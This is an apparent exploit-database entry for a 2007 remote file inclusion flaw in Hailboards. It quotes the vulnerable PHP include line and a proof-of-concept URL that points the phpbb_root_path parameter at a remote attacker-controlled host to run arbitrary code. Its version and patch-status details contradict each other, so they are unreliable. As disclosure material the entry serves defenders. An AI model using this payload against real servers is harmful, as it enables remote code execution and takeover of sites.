Hailboards v1.2.0 (phpbb_root_path) Remote File Include Exploit

vendor:

Hailboards

by:

xoron

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Hailboards

Affected Version From: 1.2.2000

Affected Version To: 1.2.2000

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Hailboards v1.2.0 (phpbb_root_path) Remote File Include Exploit

This exploit takes advantage of a vulnerability in Hailboards v1.2.0 where it allows remote file inclusion. By including a malicious file through the 'phpbb_root_path' parameter, an attacker can execute arbitrary code on the target system. The exploit code is provided in the given link.

Mitigation:

To mitigate this vulnerability, it is recommended to update Hailboards to a patched version that addresses this issue. Additionally, it is advised to sanitize user input and implement proper input validation in the application.

Source

Exploit-DB raw data:

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Hailboards v1.2.0 (phpbb_root_path) Remote File Include Exploit

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Author: xoron

xoron.biz - xoron.info

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Code:

include($phpbb_root_path . 'includes/bbcode.'.$phpEx);

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POC:

www.[target].com/[script_pat]/includes/usercp_viewprofile.php?phpbb_root_path=http://evilscripts?

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Exploit:

www.xoron.info/bugs/hailboards.txt

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download: http://hailboards.org/

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Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

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